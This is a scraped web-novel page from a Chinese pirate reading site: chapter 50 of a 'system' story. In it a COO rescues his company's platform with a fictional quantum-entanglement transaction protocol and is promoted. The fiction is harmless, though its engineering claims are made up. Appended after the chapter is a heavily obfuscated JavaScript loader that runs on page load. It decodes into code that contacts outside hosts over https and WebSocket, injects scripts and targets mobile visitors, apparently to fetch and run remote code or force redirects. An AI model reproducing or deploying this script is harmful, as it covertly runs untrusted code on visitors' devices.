首页
[切换至繁体版]
返回

第50章 绝地反击!系统解锁隐藏功能

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!


    王海清走到台前,打开投影。屏幕上是一张极其复杂的架构图,但在关键节点上,标注了新的组件:量子事务管理器、纠缠态协调器、退相干抑制器……
    “整个改造分为三步。”王海清的声音比平时大,带着一种破釜沉舟的气势,“第一步,在现有的每个微服务里,嵌入一个轻量级的量子事务客户端。这个客户端只有三百行代码,我已经写好了模板。”
    “第二步,部署三个量子事务协调节点,组成集群。它们负责建立和维护服务之间的量子纠缠通道——别问我怎么实现的,看代码。”
    “第三步,修改所有涉及跨服务事务的代码,加上@QTCTransaction注解。就这么简单。”
    会议室里安静得可怕。
    所有人都盯着屏幕,盯着那些陌生的术语,还有王海清脸上那种“疯了但很认真”的表情。
    “王总监,”一个资深架构师举手,声音迟疑,“你确定……这能行?量子纠缠,那是物理学家在实验室里玩的东西。我们这是生产环境,要处理每秒几万笔交易,不能出任何差错。”
    “我确定。”王海清说,转头看向林辰,“因为林总给了我完整的数学证明和性能模拟报告。在模拟环境里,这套方案的事务提交延迟,是两阶段提交的百分之一,是TCC的十分之一。而且,强一致性保障——不是最终一致性,是强一致。”
    会议室再次骚动。
    这次,很多人的眼神变了。从怀疑,变成了震惊,然后变成了……跃跃欲试。
    做技术的,骨子里都有对“黑科技”的向往。尤其当这个黑科技,能解决困扰业界十几年的难题时。
    “但我们只有四十八小时。”林辰重新接管话语权,“所以,所有人,听清楚分工。架构组,负责部署协调节点。后端组,负责嵌入客户端。前端和测试组,配合做集成验证。每个组,每两个小时同步一次进度。遇到任何问题,直接找我,我现场解决。”
    他停顿了一下,目光扫过全场。
    “这是最后一战。打赢了,‘星语’重生,我们每个人,都是这个行业的历史创造者。打输了……至少我们试过了,而且是用最酷的方式试的。有没有问题?”
    “没有!”会议室里响起整齐的吼声。
    士气,在绝望的谷底,被一个疯狂的技术方案,重新点燃了。
    4
    接下来的四十八小时,星河科技大厦二十八层,变成了一个不眠的战争要塞。
    白板上写满了量子力学术语和代码片段,便利贴密密麻麻,咖啡杯堆成小山。键盘敲击声几乎没有停过,讨论声此起彼伏,偶尔爆发出“通了!”的欢呼,然后又迅速沉寂,投入下一个问题。
    林辰成了整个战场的核心处理器。
    他几乎没有离开过指挥台。系统虽然进入了“低功耗恢复期”,但基础功能还在,AI超脑模块依然能以最低功率运行,帮他快速分析问题,给出最优解。而更重要的是,那套“量子纠缠事务协议”的每一个细节,都深深刻在他脑子里,像是与生俱来的本能。
    “林总,三号协调节点的纠缠态建立失败,错误码Q-207。”
    “检查网络延迟,超过5毫秒就会失败。加一条重试逻辑,最多三次。”
    “明白!”
    “林总,支付服务的事务注解加了之后,编译报错,类型不匹配。”
    “把注解的隔离级别从SERIALIZABLE改成READ_COMMITTED,量子协议不需要那么强的隔离。”
    “好了!”
    “林总,测试环境模拟高并发,偶尔会出现事务回滚但数据没清理干净……”
    “那是退相干抑制器的参数没调好。把相干时间阈值从100毫秒降到50。”
    一个个问题,在他这里得到解答。一个个障碍,被快速清除。
    团队的人看他的眼神,已经从最初的“这个新COO有点东西”,变成了近乎崇拜的“这他妈是神吧”。因为无论多偏门的问题,多诡异的BUG,只要到他这里,总能在一分钟内给出准确的解决方向。
    他们不知道,这背后是系统用超越时代的技术储备,加上林辰自己七年的工程经验,共同作用的结果。
    他们只需要知道:跟着这个人,能赢。
    四十八小时,倒计时归零。
    第四十九小时,凌晨三点,最后一次全链路压测。
    大屏幕上,数字开始跳动:
    并发用户数:1000→5000→10000→50000……
    事务成功率:100%
    平均响应时间:127毫秒
    99分位响应时间:253毫秒
    系统可用性:100%
    当并发数冲到十万,事务成功率依然稳在100%时,办公区里,有人开始哭。
    不是一个人,是好几个。那些连续三十天每天只睡三四个小时的大男人,捂着脸,肩膀抖动。然后哭声传染开来,越来越多人红了眼眶。
    王海清靠在墙上,仰头看着天花板,眼泪顺着眼角流进鬓角。李浩蹲在地上,抱着头,无声地抽泣。
    压力太大了。
    这三十天,他们承受的压力,超过了职业生涯的总和。而现在,压力释放的瞬间,情绪决堤了。
    林辰站在指挥台前,看着屏幕上完美的曲线,看着哭成一片的团队,鼻子也有些发酸。
    但他忍住了。
    因为战斗还没完全结束。
    “各小组,”他开口,声音有些沙哑,“最后一遍检查:监控告警、日志收集、容灾切换、数据备份。确认无误后,准备……生产环境发布。”
    命令下达,团队迅速擦干眼泪,回到工位。最后一遍检查,用了四十分钟。
    凌晨四点,一切就绪。
    “林总,”王海清看向他,“可以发布了。”
    林辰点点头,在发布系统里输入自己的密码,按下回车。
    “发布确认:将‘星语’新架构(版本号V4.0)部署至生产环境。是否继续?”
    他点击“是”。
    进度条开始滚动。
    1%……10%……30%……
    这是最紧张的时刻。新架构能不能在生产环境跑起来,会不会有没测出来的问题,会不会引发线上故障……一切都是未知。
    但林辰很平静。
    因为他知道,这套架构,没问题。
    进度条到100%。
    发布完成。
    监控大屏上,线上流量开始从旧集群切换到新集群。曲线平稳过渡,没有任何抖动。错误率保持在0.01%以下——那是正常的网络噪音。
    五分钟,十分钟,半小时。
    系统稳定运行。
    “成功了……”不知道谁先说出来。
    然后,欢呼声爆发了。这次不是压抑的哭,是尽情的吼。有人把文件抛向空中,有人拥抱在一起,有人跳上桌子。
    林辰站在原地,看着这一切,终于笑了。
    他拿起手机,给李铭发了条微信:“李总,新架构发布成功。‘星语’重生。”
    三秒后,李铭回复:“我在监控室,看到了。干得漂亮。现在,立刻,马上,让所有人去睡觉。这是命令。”
    林辰放下手机,走到办公区中央,拍了拍手。
    欢呼声渐渐平息。
    “李总命令,”林辰说,“所有人,立刻,马上,睡觉。项目组放假三天,带薪。现在,都给我滚回家。”
    人群欢呼着散去。很多人连电脑都没关,抓起包就往外跑。三十天了,他们终于可以回家,洗个热水澡,躺在自己的床上,睡到自然醒。
    王海清和李浩最后走过来。
    “林总,”王海清眼眶还红着,“谢谢。没有你,我们做不到。”
    “是大家一起做到的。”林辰拍拍他的肩,“回去好好睡,三天后,还有硬仗要打。”
    “明白!”
    两人离开。办公区里,只剩下林辰一个人,还有满地的咖啡杯、零食包装、写满公式的白板。
    他走到落地窗前。天边已经泛起鱼肚白,新的一天即将开始。
    手机震动,系统提示:
    【支线任务:整顿技术团队,已完成】
    【任务评级:S(完美)】
    【获得奖励:AI架构设计(中级)熟练度提升至100%,自动升级为“AI架构设计(高级)”】
    【获得额外奖励:技术团队忠诚度永久+30%,创新能力+20%】
    【系统状态:进入“低功耗恢复期”(剩余6天23小时59分)。期间仅保留基础功能,高级模块暂不可用。】
    低功耗恢复期,七天。
    但林辰觉得,值。
    因为他用这三十天,证明了三点:
    第一,他有能力带领团队,完成不可能的任务。
    第二,他有系统这张王牌,能在绝境中翻盘。
    第三,也是最重要的——他林辰,回来了。
    不是那个被裁员后站在天台上的失败者。
    是一个能打硬仗、能扛压力、能创造奇迹的领导者。
    他深吸一口清晨的空气,转身,关灯,走出办公区。
    走廊里很安静,只有他的脚步声在回荡。
    电梯下行时,他靠在轿厢壁上,闭上眼睛。
    三十天,他几乎没怎么睡觉,全靠系统的“深度修复”撑着。现在任务完成,压力释放,疲惫如潮水般涌来。
    但他还不能完全休息。
    因为三天后,是向李铭和董事会做正式汇报的日子。他要展示这三十天的成果,要争取更多的资源,要开始谋划下一步——如何用新生的“星语”,在市场上反攻。
    但那是三天后的事。
    现在,他只想回家,洗个澡,抱着苏雨晴,好好睡一觉。
    电梯到一楼,门开。
    晨光涌进来,有些刺眼。
    林辰眯起眼睛,走了出去。
    门口,一辆黑色轿车停在那里。车窗降下,李铭坐在后座,朝他招手。
    “上车,送你回家。”
    林辰愣了一下,拉开车门坐进去。
    “李总,您怎么……”
    “在监控室看了一夜。”李铭笑了笑,眼里的血丝不比林辰少,“看你带着团队,完成了一个奇迹。林辰,这三十天,你证明了你的价值。不止是技术能力,是领导力,是魄力,是那种……能把所有人拧成一股绳,往一个方向冲的劲儿。”
    车启动,驶入清晨的街道。
    “陈明远那边,你不用管了。”李铭继续说,“今天早上,他会收到调岗通知,去负责新成立的创新业务部,不再插手核心产品线。从今天起,你就是星河科技名副其实的COO,技术、产品、运营,你全权负责。”
    林辰沉默了几秒:“谢谢李总信任。”
    “不是我信任你,是你值得。”李铭看向窗外,“知道我这三十天最感慨的是什么吗?不是你解决了技术难题,不是你搞定了团队,是你让所有人相信——相信这件事能成,相信跟着你能赢。这在企业里,比什么都珍贵。”
    车在林辰家小区门口停下。
    “好好休息三天。”李铭说,“三天后,会议室,我要看你拿出一个能打垮云图科技和智创互联的产品战略。能做到吗?”
    “能。”林辰回答,没有任何犹豫。
    “好,去吧。”
    林辰下车,看着轿车远去,转身走进小区。
    天亮了。
    新的一天,真的开始了。
    而他,已经准备好了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();